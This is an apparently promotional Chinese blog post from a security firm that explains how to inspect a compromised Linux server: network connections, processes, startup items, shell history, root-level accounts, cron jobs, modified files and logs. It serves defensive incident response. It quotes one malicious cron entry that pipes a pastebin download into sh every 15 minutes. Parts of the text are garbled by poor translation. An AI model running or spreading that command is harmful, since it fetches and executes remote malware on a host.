许多客户网站和服务器已被黑客攻击。查找我们的SINE安全公司以获取技术支持和帮助。一些网站已被篡改，重定向，首页内容已被替换，服务器植入特洛伊木马后门程序，服务器冻结，服务器网络连接异常；一些客户正在使用阿里云服务器，并且经常提醒他们该服务器具有挖掘程序，并将网站上载到webshell安全性提醒，其中包括腾讯云提示服务器具有特洛伊木马文件。第一次攻击客户的网站时，需要立即对其进行处理，以将损失降到最低，并恢复对网站的正常访问。由于每个客户都能找到我们的SINE安全性，因此他们更加着急，安全处理时间也需要尽快。加工。根据我们的处理经验，我们总结了一些针对被攻击和被黑客入侵的服务器的故障排除方法。它们专门用于第一次检查服务器的安全性问题，以查看其发生位置，服务器是否被黑客入侵，是否受到攻击以及被黑客入侵的人。篡改等等。首先，我们将收集并记录当前服务器的IP，IP地址，Linux服务器名称，服务器版本为centos或redhat，以及服务器的当前时间为txt文件，然后执行下一步，右键检查异常网络连接和当前服务器的异常系统进程，主要通过netstat -an和-antp命令来检查服务器上存在哪些异常IP连接。查询所连接IP的归属。如果是外来IP，则直接记录当前进程的PID值，并自动记录所有PID信息，查询PID所在的Linux文件地址，然后检查当前占用的CPU大于100 30进程，然后检查进程所在的文件夹。当我们处理客户端服务器上的攻击时，我们发现许多服务器命令被篡改。例如，正常的PS查看过程和用于查询目录的cd命令被篡改，导致服务器无法正常使用这些命令并检查服务器的安全性，从而造成麻烦。检查服务器的启动项目。有些服务器植入了特洛伊木马后门程序，即使服务器重新启动，它们仍然会受到攻击。特洛伊木马会自动启动。检查linux init.d文件夹中是否有多余的启动文件。您也可以检查时间以确定启动项是否存在问题。另一个要检查的地方是服务器的历史记录命令。历史上的许多服务器在被黑客入侵时都会留下痕迹。例如，攻击者通过SSH登录服务器后，会对服务器进行操作。这些恶意命令可以通过历史查询。没有wget命令用于下载特洛伊木马或执行SH文件。检查服务器的所有帐户以及当前使用和登录的管理员帐户。tty是本地用户登录名，pst是远程连接的用户登录名，以检查服务器是否被黑客攻击或受到攻击。您还可以检查login.defs文件的uid值。 ，判断uid的passwd以获得新创建的管理员帐户。执行cat etc / passwd命令，检查是否有异常用户帐户（包括特权帐户）的UID值为0。最重要的是检查服务器的计时任务。不久前，一个网站客户端感染了挖掘病毒，并一直占用CPU。已选中计时任务发现下载命令每15分钟自动执行一次，crontab -l * / 15 * * * *（curl -fsSL pastebin / raw / TS4NeUnd || wget -qO- pastebin / raw / TS4NeUnd）| sh代码如上，它将自动下载。执行SH Trojan文件。无法删除计划的任务，最后通过检查系统文件找到了特洛伊木马，并且该过程被终止并强行删除。某些服务器被黑客入侵后，请立即检查2天之内已修改的文件。您可以使用find命令检查所有文件，以查看是否存在特洛伊木马后门文件。如果有，您可以确认服务器已被黑客入侵。以上是对服务器进行入侵和攻击的检查方法。通过我们的SINE安全性给出的检查步骤，一一检查，您将发现问题所在。最重要的是检查日志。即使某个功能是，也必须仔细检查这些日志。服务器已陷入被黑客攻击和攻击的状态，我们希望我们的共享可以帮助更多有需要的人。服务器的安全性将带来整个Internet的安全性。